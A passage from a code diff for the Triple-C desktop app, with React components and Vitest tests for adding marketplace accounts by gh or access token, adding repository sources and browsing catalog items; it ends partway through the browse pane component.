const usedBy = (id: string) => marketplaces.filter((m) => m.account_id === id).map((m) => m.name);
|
||||
|
||||
const test = async (a: MarketplaceAccount) => {
|
||||
setTesting(a.id);
|
||||
try {
|
||||
const login = await testMarketplaceAccount(a.id);
|
||||
pushToast({ kind: "success", message: `${a.label} works — signed in as ${login}` });
|
||||
} catch (e) {
|
||||
pushToast({ kind: "error", message: `${a.label} could not sign in`, detail: String(e) });
|
||||
} finally {
|
||||
setTesting(null);
|
||||
}
|
||||
};
|
||||
|
||||
const remove = async (a: MarketplaceAccount) => {
|
||||
setRemoving(a.id);
|
||||
try {
|
||||
setAppSettings(await removeMarketplaceAccount(a.id));
|
||||
} catch (e) {
|
||||
pushToast({ kind: "error", message: `Could not remove ${a.label}`, detail: String(e) });
|
||||
} finally {
|
||||
setRemoving(null);
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="p-4 space-y-3 max-w-3xl">
|
||||
<div className="flex items-center justify-between">
|
||||
<p className="text-xs text-[var(--text-secondary)]">
|
||||
Accounts are used to fetch private marketplaces. Tokens are kept in your OS keychain and never enter
|
||||
containers.
|
||||
</p>
|
||||
<Button size="md" variant="secondary" onClick={() => setAdding(true)}>
|
||||
Add account
|
||||
</Button>
|
||||
</div>
|
||||
{accounts.length === 0 && <p className="text-xs text-[var(--text-secondary)]">No accounts yet. Public repositories need none.</p>}
|
||||
<ul className="space-y-2">
|
||||
{accounts.map((a) => {
|
||||
const users = usedBy(a.id);
|
||||
const inUse = users.length > 0;
|
||||
return (
|
||||
<li
|
||||
key={a.id}
|
||||
className="flex items-center justify-between gap-2 p-2 rounded-[var(--radius-control)] border border-[var(--border-color)]"
|
||||
>
|
||||
<div className="min-w-0 text-xs">
|
||||
<p className="font-medium">{a.label}</p>
|
||||
<p className="text-[var(--text-secondary)]">
|
||||
{METHOD_LABEL[a.method]} · {a.host}
|
||||
{a.username ? ` · ${a.username}` : ""}
|
||||
</p>
|
||||
{inUse && <p className="text-[var(--text-secondary)]">Used by {users.join(", ")}</p>}
|
||||
</div>
|
||||
<div className="flex gap-1 flex-shrink-0">
|
||||
<Button
|
||||
size="sm"
|
||||
variant="ghost"
|
||||
aria-label={`Test ${a.label}`}
|
||||
disabled={testing === a.id}
|
||||
onClick={() => void test(a)}
|
||||
>
|
||||
{testing === a.id ? "Testing…" : "Test"}
|
||||
</Button>
|
||||
<Button
|
||||
size="sm"
|
||||
variant="ghost"
|
||||
aria-label={`Remove ${a.label}`}
|
||||
disabled={removing === a.id}
|
||||
unavailable={inUse}
|
||||
unavailableReason={`Used by ${users.join(", ")} — change or remove that marketplace first`}
|
||||
onClick={() => void remove(a)}
|
||||
>
|
||||
Remove
|
||||
</Button>
|
||||
</div>
|
||||
</li>
|
||||
);
|
||||
})}
|
||||
</ul>
|
||||
{adding && <AddAccountModal onClose={() => setAdding(false)} />}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,77 @@
|
||||
import { describe, it, expect, vi, beforeEach } from "vitest";
|
||||
import { fireEvent, render, screen, waitFor } from "@testing-library/react";
|
||||
import { useAppState } from "../../store/appState";
|
||||
import type { Project } from "../../lib/types";
|
||||
|
||||
const marketplaceGhHostAvailable = vi.fn();
|
||||
const addMarketplaceGhHostAccount = vi.fn();
|
||||
const addMarketplaceTokenAccount = vi.fn();
|
||||
const getSettings = vi.fn();
|
||||
vi.mock("../../lib/tauri-commands", () => ({
|
||||
marketplaceGhHostAvailable: () => marketplaceGhHostAvailable(),
|
||||
addMarketplaceGhHostAccount: (...a: unknown[]) => addMarketplaceGhHostAccount(...a),
|
||||
addMarketplaceTokenAccount: (...a: unknown[]) => addMarketplaceTokenAccount(...a),
|
||||
getSettings: () => getSettings(),
|
||||
}));
|
||||
vi.mock("./GhContainerLoginModal", () => ({
|
||||
default: ({ projectId }: { projectId: string }) => <div>container login for {projectId}</div>,
|
||||
}));
|
||||
|
||||
import AddAccountModal from "./AddAccountModal";
|
||||
|
||||
const running = { id: "p1", name: "api", status: "running", container_id: "c1" } as unknown as Project;
|
||||
|
||||
describe("AddAccountModal", () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
getSettings.mockResolvedValue({ marketplace_accounts: [] });
|
||||
useAppState.setState({ projects: [running], toasts: [] });
|
||||
});
|
||||
|
||||
it("uses host gh when available", async () => {
|
||||
marketplaceGhHostAvailable.mockResolvedValue(true);
|
||||
addMarketplaceGhHostAccount.mockResolvedValue({ id: "a1" });
|
||||
const onClose = vi.fn();
|
||||
render(<AddAccountModal onClose={onClose} />);
|
||||
expect(await screen.findByText(/gh is installed on this computer/)).toBeInTheDocument();
|
||||
fireEvent.change(screen.getByLabelText("Label"), { target: { value: "Personal" } });
|
||||
fireEvent.click(screen.getByRole("button", { name: "Add account" }));
|
||||
await waitFor(() => expect(addMarketplaceGhHostAccount).toHaveBeenCalledWith("Personal", "github.com"));
|
||||
await waitFor(() => expect(onClose).toHaveBeenCalled());
|
||||
});
|
||||
|
||||
it("falls back to gh in a running container", async () => {
|
||||
marketplaceGhHostAvailable.mockResolvedValue(false);
|
||||
render(<AddAccountModal onClose={vi.fn()} />);
|
||||
expect(await screen.findByLabelText("Run gh in")).toBeInTheDocument();
|
||||
fireEvent.change(screen.getByLabelText("Label"), { target: { value: "Work" } });
|
||||
fireEvent.click(screen.getByRole("button", { name: "Sign in" }));
|
||||
expect(screen.getByText("container login for p1")).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("adds a token account for any host", async () => {
|
||||
marketplaceGhHostAvailable.mockResolvedValue(false);
|
||||
addMarketplaceTokenAccount.mockResolvedValue({ id: "a2" });
|
||||
render(<AddAccountModal onClose={vi.fn()} />);
|
||||
fireEvent.click(await screen.findByRole("radio", { name: "Access token" }));
|
||||
fireEvent.change(screen.getByLabelText("Label"), { target: { value: "Gitea" } });
|
||||
fireEvent.change(screen.getByLabelText("Host"), { target: { value: "repo.anhonesthost.net" } });
|
||||
fireEvent.change(screen.getByLabelText("Token"), { target: { value: "test-token-not-real" } });
|
||||
fireEvent.click(screen.getByRole("button", { name: "Add account" }));
|
||||
await waitFor(() =>
|
||||
expect(addMarketplaceTokenAccount).toHaveBeenCalledWith("Gitea", "repo.anhonesthost.net", "test-token-not-real"),
|
||||
);
|
||||
});
|
||||
|
||||
it("shows a validation error from the backend", async () => {
|
||||
marketplaceGhHostAvailable.mockResolvedValue(false);
|
||||
addMarketplaceTokenAccount.mockRejectedValue("The token was rejected by repo.anhonesthost.net (HTTP 401)");
|
||||
render(<AddAccountModal onClose={vi.fn()} />);
|
||||
fireEvent.click(await screen.findByRole("radio", { name: "Access token" }));
|
||||
fireEvent.change(screen.getByLabelText("Label"), { target: { value: "G" } });
|
||||
fireEvent.change(screen.getByLabelText("Host"), { target: { value: "repo.anhonesthost.net" } });
|
||||
fireEvent.change(screen.getByLabelText("Token"), { target: { value: "test-token-not-real" } });
|
||||
fireEvent.click(screen.getByRole("button", { name: "Add account" }));
|
||||
expect(await screen.findByText(/HTTP 401/)).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,190 @@
|
||||
import { useEffect, useState } from "react";
|
||||
import Modal from "../ui/Modal";
|
||||
import Button from "../ui/Button";
|
||||
import SegmentedControl from "../ui/SegmentedControl";
|
||||
import Field, { inputClass, selectClass } from "../ui/Field";
|
||||
import {
|
||||
addMarketplaceGhHostAccount,
|
||||
addMarketplaceTokenAccount,
|
||||
getSettings,
|
||||
marketplaceGhHostAvailable,
|
||||
} from "../../lib/tauri-commands";
|
||||
import { useAppState } from "../../store/appState";
|
||||
import GhContainerLoginModal from "./GhContainerLoginModal";
|
||||
|
||||
type Method = "gh" | "token";
|
||||
|
||||
interface Props {
|
||||
onClose: () => void;
|
||||
}
|
||||
|
||||
export default function AddAccountModal({ onClose }: Props) {
|
||||
const projects = useAppState((s) => s.projects);
|
||||
const setAppSettings = useAppState((s) => s.setAppSettings);
|
||||
const runnable = projects.filter((p) => p.status === "running" && p.container_id);
|
||||
|
||||
const [method, setMethod] = useState<Method>("gh");
|
||||
const [hostGh, setHostGh] = useState<boolean | null>(null);
|
||||
const [label, setLabel] = useState("");
|
||||
const [host, setHost] = useState("github.com");
|
||||
const [token, setToken] = useState("");
|
||||
const [projectId, setProjectId] = useState(runnable[0]?.id ?? "");
|
||||
const [busy, setBusy] = useState(false);
|
||||
const [error, setError] = useState<string | null>(null);
|
||||
const [containerLogin, setContainerLogin] = useState(false);
|
||||
|
||||
useEffect(() => {
|
||||
let cancelled = false;
|
||||
marketplaceGhHostAvailable()
|
||||
.then((v) => {
|
||||
if (!cancelled) setHostGh(v);
|
||||
})
|
||||
.catch(() => {
|
||||
if (!cancelled) setHostGh(false);
|
||||
});
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, []);
|
||||
|
||||
const reloadSettings = async () => setAppSettings(await getSettings());
|
||||
|
||||
const finish = async () => {
|
||||
await reloadSettings();
|
||||
onClose();
|
||||
};
|
||||
|
||||
const submit = async () => {
|
||||
setError(null);
|
||||
if (method === "gh" && !hostGh) {
|
||||
setContainerLogin(true);
|
||||
return;
|
||||
}
|
||||
setBusy(true);
|
||||
try {
|
||||
if (method === "gh") {
|
||||
await addMarketplaceGhHostAccount(label.trim(), host.trim());
|
||||
} else {
|
||||
const t = token.trim();
|
||||
setToken("");
|
||||
await addMarketplaceTokenAccount(label.trim(), host.trim(), t);
|
||||
}
|
||||
await finish();
|
||||
} catch (e) {
|
||||
setError(typeof e === "string" ? e : String(e));
|
||||
} finally {
|
||||
setBusy(false);
|
||||
}
|
||||
};
|
||||
|
||||
const hostValid = /^[A-Za-z0-9.-]+(:[0-9]+)?$/.test(host.trim());
|
||||
const needsContainer = method === "gh" && hostGh === false;
|
||||
const canSubmit =
|
||||
!busy &&
|
||||
hostGh !== null &&
|
||||
label.trim() !== "" &&
|
||||
hostValid &&
|
||||
(method === "gh" ? !needsContainer || projectId !== "" : token.trim() !== "");
|
||||
|
||||
if (containerLogin) {
|
||||
const project = runnable.find((p) => p.id === projectId);
|
||||
return (
|
||||
<GhContainerLoginModal
|
||||
label={label.trim()}
|
||||
host={host.trim()}
|
||||
projectId={projectId}
|
||||
projectName={project?.name ?? projectId}
|
||||
onClose={onClose}
|
||||
onDone={() => void finish()}
|
||||
/>
|
||||
);
|
||||
}
|
||||
|
||||
return (
|
||||
<Modal
|
||||
title="Add account"
|
||||
description="Accounts let Triple-C read private marketplace repositories. Credentials stay on this computer and never enter containers."
|
||||
widthClassName="w-[36rem]"
|
||||
dismissible={!busy}
|
||||
onClose={onClose}
|
||||
footer={
|
||||
<>
|
||||
<Button size="md" variant="ghost" onClick={onClose} disabled={busy}>
|
||||
Cancel
|
||||
</Button>
|
||||
<Button size="md" variant="primary" onClick={() => void submit()} disabled={!canSubmit}>
|
||||
{needsContainer ? "Sign in" : busy ? "Checking…" : "Add account"}
|
||||
</Button>
|
||||
</>
|
||||
}
|
||||
>
|
||||
<div className="space-y-3">
|
||||
<SegmentedControl<Method>
|
||||
label="Sign-in method"
|
||||
value={method}
|
||||
onChange={(m) => {
|
||||
setMethod(m);
|
||||
setError(null);
|
||||
}}
|
||||
segments={[
|
||||
{ value: "gh", label: "GitHub via gh" },
|
||||
{ value: "token", label: "Access token" },
|
||||
]}
|
||||
/>
|
||||
<Field label="Label">
|
||||
{(id) => (
|
||||
<input id={id} value={label} onChange={(e) => setLabel(e.target.value)} className={inputClass} placeholder="Work GitHub" />
|
||||
)}
|
||||
</Field>
|
||||
<Field label="Host" hint={hostValid ? undefined : "Host name only, e.g. github.com or repo.example.com"}>
|
||||
{(id) => <input id={id} value={host} onChange={(e) => setHost(e.target.value)} className={inputClass} />}
|
||||
</Field>
|
||||
{method === "gh" && hostGh === true && (
|
||||
<p className="text-xs text-[var(--text-secondary)]">
|
||||
gh is installed on this computer. Triple-C asks it for a token each time it fetches, so signing out of gh
|
||||
also signs this account out. If gh is not logged in yet, run <code className="font-mono">gh auth login</code> first.
|
||||
</p>
|
||||
)}
|
||||
{needsContainer &&
|
||||
(runnable.length === 0 ? (
|
||||
<p className="text-xs text-[var(--warning)]">
|
||||
gh is not installed on this computer. Start a project so gh can run in its container, or use an access token.
|
||||
</p>
|
||||
) : (
|
||||
<Field
|
||||
label="Run gh in"
|
||||
hint="gh is not installed on this computer, so the sign-in runs in this container. The token is kept in your OS keychain, not in the container."
|
||||
>
|
||||
{(id) => (
|
||||
<select id={id} value={projectId} onChange={(e) => setProjectId(e.target.value)} className={selectClass}>
|
||||
{runnable.map((p) => (
|
||||
<option key={p.id} value={p.id}>
|
||||
{p.name}
|
||||
</option>
|
||||
))}
|
||||
</select>
|
||||
)}
|
||||
</Field>
|
||||
))}
|
||||
{method === "token" && (
|
||||
<Field
|
||||
label="Token"
|
||||
hint="A personal access token with read access to the repository. For GitHub SSO orgs, authorise the token for the org."
|
||||
>
|
||||
{(id) => (
|
||||
<input
|
||||
id={id}
|
||||
type="password"
|
||||
autoComplete="off"
|
||||
value={token}
|
||||
onChange={(e) => setToken(e.target.value)}
|
||||
className={inputClass}
|
||||
/>
|
||||
)}
|
||||
</Field>
|
||||
)}
|
||||
{error && <p role="alert" className="text-xs text-[var(--error)] whitespace-pre-wrap">{error}</p>}
|
||||
</div>
|
||||
</Modal>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
import { describe, it, expect, vi, beforeEach } from "vitest";
|
||||
import { fireEvent, render, screen, waitFor } from "@testing-library/react";
|
||||
import { useAppState } from "../../store/appState";
|
||||
import type { AppSettings } from "../../lib/types";
|
||||
|
||||
const addMarketplace = vi.fn();
|
||||
vi.mock("../../lib/tauri-commands", () => ({
|
||||
addMarketplace: (...a: unknown[]) => addMarketplace(...a),
|
||||
}));
|
||||
|
||||
import AddMarketplaceModal from "./AddMarketplaceModal";
|
||||
|
||||
describe("AddMarketplaceModal", () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
useAppState.setState({
|
||||
appSettings: {
|
||||
marketplace_accounts: [{ id: "acc1", label: "Work", host: "github.com", method: "token", username: "me" }],
|
||||
marketplaces: [],
|
||||
global_marketplace_installs: [],
|
||||
} as unknown as AppSettings,
|
||||
});
|
||||
});
|
||||
|
||||
it("submits name, url, branch and account", async () => {
|
||||
const onAdded = vi.fn();
|
||||
addMarketplace.mockResolvedValue({ marketplace_id: "m1", head_commit: null, fetched_at: null, fetch_error: null, items: [] });
|
||||
render(<AddMarketplaceModal onClose={vi.fn()} onAdded={onAdded} />);
|
||||
fireEvent.change(screen.getByLabelText("Name"), { target: { value: "Starter" } });
|
||||
fireEvent.change(screen.getByLabelText("Repository URL"), { target: { value: "https://github.com/shadowdao/triple-c-marketplace.git" } });
|
||||
fireEvent.change(screen.getByLabelText("Branch"), { target: { value: "" } });
|
||||
fireEvent.change(screen.getByLabelText("Account"), { target: { value: "acc1" } });
|
||||
fireEvent.click(screen.getByRole("button", { name: "Add marketplace" }));
|
||||
await waitFor(() => expect(onAdded).toHaveBeenCalled());
|
||||
expect(addMarketplace).toHaveBeenCalledWith("Starter", "https://github.com/shadowdao/triple-c-marketplace.git", null, "acc1");
|
||||
});
|
||||
|
||||
it("rejects non-https URLs before calling the backend", () => {
|
||||
render(<AddMarketplaceModal onClose={vi.fn()} onAdded={vi.fn()} />);
|
||||
fireEvent.change(screen.getByLabelText("Name"), { target: { value: "x" } });
|
||||
fireEvent.change(screen.getByLabelText("Repository URL"), { target: { value: "git@github.com:a/b.git" } });
|
||||
expect(screen.getByRole("button", { name: "Add marketplace" })).toBeDisabled();
|
||||
expect(screen.getByText(/must start with https:\/\//)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("shows the backend error and stays open", async () => {
|
||||
addMarketplace.mockRejectedValue("Work cannot read this repository (HTTP 404)");
|
||||
render(<AddMarketplaceModal onClose={vi.fn()} onAdded={vi.fn()} />);
|
||||
fireEvent.change(screen.getByLabelText("Name"), { target: { value: "x" } });
|
||||
fireEvent.change(screen.getByLabelText("Repository URL"), { target: { value: "https://github.com/a/b.git" } });
|
||||
fireEvent.click(screen.getByRole("button", { name: "Add marketplace" }));
|
||||
expect(await screen.findByText(/HTTP 404/)).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,104 @@
|
||||
import { useState } from "react";
|
||||
import Modal from "../ui/Modal";
|
||||
import Button from "../ui/Button";
|
||||
import Field, { inputClass, selectClass } from "../ui/Field";
|
||||
import { addMarketplace } from "../../lib/tauri-commands";
|
||||
import { useAppState } from "../../store/appState";
|
||||
import type { MarketplaceSnapshot } from "../../lib/types";
|
||||
|
||||
interface Props {
|
||||
onClose: () => void;
|
||||
onAdded: (snapshot: MarketplaceSnapshot) => void;
|
||||
}
|
||||
|
||||
export default function AddMarketplaceModal({ onClose, onAdded }: Props) {
|
||||
const accounts = useAppState((s) => s.appSettings?.marketplace_accounts ?? []);
|
||||
const [name, setName] = useState("");
|
||||
const [url, setUrl] = useState("");
|
||||
const [branch, setBranch] = useState("");
|
||||
const [accountId, setAccountId] = useState("");
|
||||
const [busy, setBusy] = useState(false);
|
||||
const [error, setError] = useState<string | null>(null);
|
||||
|
||||
const trimmedUrl = url.trim();
|
||||
const urlProblem =
|
||||
trimmedUrl !== "" && !trimmedUrl.startsWith("https://")
|
||||
? "The repository URL must start with https:// (SSH URLs are not supported)."
|
||||
: null;
|
||||
const canSubmit = name.trim() !== "" && trimmedUrl !== "" && !urlProblem && !busy;
|
||||
|
||||
const submit = async () => {
|
||||
setBusy(true);
|
||||
setError(null);
|
||||
try {
|
||||
const snap = await addMarketplace(
|
||||
name.trim(),
|
||||
trimmedUrl,
|
||||
branch.trim() === "" ? null : branch.trim(),
|
||||
accountId === "" ? null : accountId,
|
||||
);
|
||||
onAdded(snap);
|
||||
onClose();
|
||||
} catch (e) {
|
||||
setError(typeof e === "string" ? e : String(e));
|
||||
} finally {
|
||||
setBusy(false);
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<Modal
|
||||
title="Add marketplace"
|
||||
description="Triple-C fetches the repository now to check it can be read. Nothing is saved if that fails."
|
||||
widthClassName="w-[36rem]"
|
||||
dismissible={!busy}
|
||||
onClose={onClose}
|
||||
footer={
|
||||
<>
|
||||
<Button size="md" variant="ghost" onClick={onClose} disabled={busy}>
|
||||
Cancel
|
||||
</Button>
|
||||
<Button size="md" variant="primary" onClick={() => void submit()} disabled={!canSubmit}>
|
||||
{busy ? "Checking…" : "Add marketplace"}
|
||||
</Button>
|
||||
</>
|
||||
}
|
||||
>
|
||||
<div className="space-y-3">
|
||||
<Field label="Name">
|
||||
{(id) => (
|
||||
<input id={id} value={name} onChange={(e) => setName(e.target.value)} className={inputClass} placeholder="Team marketplace" />
|
||||
)}
|
||||
</Field>
|
||||
<Field label="Repository URL" hint={urlProblem ?? "HTTPS clone URL, e.g. https://github.com/owner/repo.git"}>
|
||||
{(id) => (
|
||||
<input id={id} value={url} onChange={(e) => setUrl(e.target.value)} className={inputClass} placeholder="https://github.com/owner/repo.git" />
|
||||
)}
|
||||
</Field>
|
||||
<Field label="Branch" hint="Leave empty to use the repository's default branch.">
|
||||
{(id) => (
|
||||
<input id={id} value={branch} onChange={(e) => setBranch(e.target.value)} className={inputClass} placeholder="main" />
|
||||
)}
|
||||
</Field>
|
||||
<Field label="Account" hint="Needed for private repositories. Add accounts on the Accounts tab.">
|
||||
{(id) => (
|
||||
<select id={id} value={accountId} onChange={(e) => setAccountId(e.target.value)} className={selectClass}>
|
||||
<option value="">None (public repository)</option>
|
||||
{accounts.map((a) => (
|
||||
<option key={a.id} value={a.id}>
|
||||
{a.label} — {a.host}
|
||||
{a.username ? ` (${a.username})` : ""}
|
||||
</option>
|
||||
))}
|
||||
</select>
|
||||
)}
|
||||
</Field>
|
||||
{error && (
|
||||
<p role="alert" className="text-xs text-[var(--error)] whitespace-pre-wrap leading-snug">
|
||||
{error}
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
</Modal>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,124 @@
|
||||
import { describe, it, expect, vi, beforeEach } from "vitest";
|
||||
import { fireEvent, render, screen } from "@testing-library/react";
|
||||
import { useAppState } from "../../store/appState";
|
||||
import type { AppSettings, CatalogItem, MarketplaceSnapshot } from "../../lib/types";
|
||||
import type { MarketplaceApi } from "../../hooks/useMarketplace";
|
||||
|
||||
vi.mock("./InstallControls", () => ({
|
||||
default: ({ headCommit }: { headCommit: string | null }) => <div>install controls at {headCommit}</div>,
|
||||
}));
|
||||
vi.mock("./AddMarketplaceModal", () => ({ default: () => <div>add modal</div> }));
|
||||
|
||||
import BrowsePane from "./BrowsePane";
|
||||
|
||||
const it_ = (kind: CatalogItem["kind"], key: string, patch: Partial<CatalogItem> = {}): CatalogItem => ({
|
||||
kind,
|
||||
key,
|
||||
name: key,
|
||||
description: `${key} description`,
|
||||
path: key,
|
||||
invalid: null,
|
||||
hook_commands: [],
|
||||
preview: `${key} preview body`,
|
||||
...patch,
|
||||
});
|
||||
|
||||
const snapshot: MarketplaceSnapshot = {
|
||||
marketplace_id: "m1",
|
||||
head_commit: "a".repeat(40),
|
||||
fetched_at: "2026-09-27T12:00:00Z",
|
||||
fetch_error: "network unreachable",
|
||||
items: [it_("agent", "code-reviewer"), it_("hook", "notify-on-stop"), it_("skill", "broken", { invalid: "SKILL.md missing" })],
|
||||
};
|
||||
|
||||
function api(patch: Partial<MarketplaceApi> = {}): MarketplaceApi {
|
||||
return {
|
||||
snapshots: [snapshot],
|
||||
updates: [],
|
||||
loading: false,
|
||||
refreshing: [],
|
||||
load: vi.fn(),
|
||||
refresh: vi.fn(),
|
||||
reloadState: vi.fn(),
|
||||
install: vi.fn(),
|
||||
uninstall: vi.fn(),
|
||||
setDisabled: vi.fn(),
|
||||
update: vi.fn(),
|
||||
forget: vi.fn(),
|
||||
remove: vi.fn(async () => true),
|
||||
...patch,
|
||||
};
|
||||
}
|
||||
|
||||
describe("BrowsePane", () => {
|
||||
beforeEach(() => {
|
||||
useAppState.setState({
|
||||
appSettings: {
|
||||
marketplaces: [{ id: "m1", name: "Starter", url: "https://github.com/s/m.git", branch: null, account_id: null }],
|
||||
marketplace_accounts: [],
|
||||
global_marketplace_installs: [],
|
||||
} as unknown as AppSettings,
|
||||
projects: [],
|
||||
marketplaceFilterProjectId: null,
|
||||
});
|
||||
});
|
||||
|
||||
it("lists items, filters by kind and search, and shows detail", () => {
|
||||
render(<BrowsePane mp={api()} />);
|
||||
expect(screen.getByText("network unreachable")).toBeInTheDocument();
|
||||
expect(screen.getByRole("button", { name: /code-reviewer/ })).toBeInTheDocument();
|
||||
expect(screen.getByRole("button", { name: /notify-on-stop/ })).toBeInTheDocument();
|
||||
|
||||
fireEvent.click(screen.getByRole("radio", { name: "Hooks" }));
|
||||
expect(screen.queryByRole("button", { name: /code-reviewer/ })).not.toBeInTheDocument();
|
||||
|
||||
fireEvent.click(screen.getByRole("radio", { name: "All" }));
|
||||
fireEvent.change(screen.getByLabelText("Search items"), { target: { value: "review" } });
|
||||
expect(screen.queryByRole("button", { name: /notify-on-stop/ })).not.toBeInTheDocument();
|
||||
|
||||
fireEvent.click(screen.getByRole("button", { name: /code-reviewer/ }));
|
||||
expect(screen.getByText("code-reviewer preview body")).toBeInTheDocument();
|
||||
expect(screen.getByText(`install controls at ${"a".repeat(40)}`)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("I2: installs pin the head the shown item was read at, not a later one", () => {
|
||||
const mp = api();
|
||||
const { rerender } = render(<BrowsePane mp={mp} />);
|
||||
fireEvent.click(screen.getByRole("button", { name: /code-reviewer/ }));
|
||||
rerender(<BrowsePane mp={{ ...mp, snapshots: [{ ...snapshot, head_commit: "b".repeat(40) }] }} />);
|
||||
expect(screen.getByText(`install controls at ${"a".repeat(40)}`)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("shows why an item is invalid", () => {
|
||||
render(<BrowsePane mp={api()} />);
|
||||
fireEvent.click(screen.getByRole("button", { name: /broken/ }));
|
||||
expect(screen.getByText("SKILL.md missing")).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("refreshes one marketplace", () => {
|
||||
const mp = api();
|
||||
render(<BrowsePane mp={mp} />);
|
||||
fireEvent.click(screen.getByRole("button", { name: "Refresh Starter" }));
|
||||
expect(mp.refresh).toHaveBeenCalledWith("m1");
|
||||
});
|
||||
|
||||
it("offers Add when there are no marketplaces", () => {
|
||||
useAppState.setState({
|
||||
appSettings: { marketplaces: [], marketplace_accounts: [], global_marketplace_installs: [] } as unknown as AppSettings,
|
||||
});
|
||||
render(<BrowsePane mp={api({ snapshots: [] })} />);
|
||||
fireEvent.click(screen.getByRole("button", { name: "Add marketplace" }));
|
||||
expect(screen.getByText("add modal")).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("confirms before removing a marketplace (F6)", () => {
|
||||
const mp = api();
|
||||
render(<BrowsePane mp={mp} />);
|
||||
fireEvent.click(screen.getByRole("button", { name: "Remove Starter" }));
|
||||
expect(screen.getByText(/Source removed/)).toBeInTheDocument();
|
||||
expect(screen.getByText(/Forget/)).toBeInTheDocument();
|
||||
expect(mp.remove).not.toHaveBeenCalled();
|
||||
fireEvent.click(screen.getByRole("button", { name: "Remove marketplace" }));
|
||||
expect(mp.remove).toHaveBeenCalledWith("m1");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,259 @@
|
||||
import { useMemo, useState } from "react";
|
||||
import type { MarketplaceApi } from "../../hooks/useMarketplace";
|
||||
import { useAppState } from "../../store/appState";
|
||||
import { KIND_LABELS, KIND_ORDER, itemRefKey } from "../../lib/marketplace";
|
||||
import { updateMarketplace } from "../../lib/tauri-commands";
|
||||
import type { CatalogItem, ItemKind, Marketplace } from "../../lib/types";
|
||||
import Button from "../ui/Button";
|
||||
import Modal from "../ui/Modal";
|
||||
import SegmentedControl from "../ui/SegmentedControl";
|
||||
import { inputClass, selectClass } from "../ui/Field";
|
||||
import AddMarketplaceModal from "./AddMarketplaceModal";
|
||||
import ItemDetail from "./ItemDetail";
|
||||
|
||||
type KindFilter = ItemKind | "all";
|
||||
|
||||
const when = (iso: string | null) => (iso ? new Date(iso).toLocaleString() : "never");
|
||||
|
||||
export default function BrowsePane({ mp }: { mp: MarketplaceApi }) {
|
||||
const marketplaces = useAppState((s) => s.appSettings?.marketplaces ?? []);
|
||||
const accounts = useAppState((s) => s.appSettings?.marketplace_accounts ?? []);
|
||||
const globalInstalls = useAppState((s) => s.appSettings?.global_marketplace_installs ?? []);
|
||||
const projects = useAppState((s) => s.projects);
|
||||
const filterId = useAppState((s) => s.marketplaceFilterProjectId);
|
||||
const setFilterId = useAppState((s) => s.setMarketplaceFilterProjectId);
|
||||
const [kind, setKind] = useState<KindFilter>("all");
|
||||
const [query, setQuery] = useState("");
|
||||
// The item is kept as it was read, with the head it was read at: an
|
||||
// install pins exactly what the detail pane shows (final review I2).
|
||||
const [selected, setSelected] = useState<{
|
||||
marketplaceId: string;
|
||||
item: CatalogItem;
|
||||
headCommit: string | null;
|
||||
} | null>(null);
|
||||
const [adding, setAdding] = useState(false);
|
||||
const [removing, setRemoving] = useState<Marketplace | null>(null);
|
||||
|
||||
const rows = useMemo(() => {
|
||||
const q = query.trim().toLowerCase();
|
||||
return mp.snapshots.flatMap((snap) =>
|
||||
snap.items
|
||||
.filter((i) => kind === "all" || i.kind === kind)
|
||||
.filter((i) => q === "" || `${i.name} ${i.key} ${i.description}`.toLowerCase().includes(q))
|
||||
.sort((a, b) => KIND_ORDER.indexOf(a.kind) - KIND_ORDER.indexOf(b.kind) || a.name.localeCompare(b.name))
|
||||
.map((item) => ({ marketplaceId: snap.marketplace_id, item, headCommit: snap.head_commit })),
|
||||
);
|
||||
}, [mp.snapshots, kind, query]);
|
||||
|
||||
const nameOf = (id: string) => marketplaces.find((m) => m.id === id)?.name ?? id;
|
||||
|
||||
const changeAccount = async (m: Marketplace, accountId: string | null) => {
|
||||
await updateMarketplace({ ...m, account_id: accountId });
|
||||
await mp.reloadState();
|
||||
};
|
||||
|
||||
/** Global + every project's installs of this marketplace, for the removal warning. */
|
||||
const installCountFor = (marketplaceId: string) => {
|
||||
const global = globalInstalls.filter((i) => i.marketplace_id === marketplaceId).length;
|
||||
const perProject = projects.reduce(
|
||||
(sum, p) => sum + p.marketplace_installs.filter((i) => i.marketplace_id === marketplaceId).length,
|
||||
0,
|
||||
);
|
||||
return global + perProject;
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="flex h-full min-h-0">
|
||||
<aside className="w-64 flex-shrink-0 border-r border-[var(--border-color)] p-3 space-y-3 overflow-auto">
|
||||
<div className="flex items-center justify-between">
|
||||
<h2 className="text-xs font-medium">Marketplaces</h2>
|
||||
<Button size="sm" variant="secondary" onClick={() => setAdding(true)}>
|
||||
Add marketplace
|
||||
</Button>
|
||||
</div>
|
||||
{marketplaces.length === 0 && (
|
||||
<p className="text-xs text-[var(--text-secondary)]">No marketplaces yet. Add a git repository to browse its items.</p>
|
||||
)}
|
||||
{marketplaces.map((m) => {
|
||||
const snap = mp.snapshots.find((s) => s.marketplace_id === m.id);
|
||||
const refreshing = mp.refreshing.includes(m.id);
|
||||
return (
|
||||
<div key={m.id} className="space-y-1 text-xs">
|
||||
<div className="flex items-center justify-between gap-2">
|
||||
<span className="font-medium truncate" title={m.url}>
|
||||
{m.name}
|
||||
</span>
|
||||
<div className="flex items-center gap-1 flex-shrink-0">
|
||||
<Button
|
||||
size="sm"
|
||||
variant="ghost"
|
||||
aria-label={`Refresh ${m.name}`}
|
||||
disabled={refreshing}
|
||||
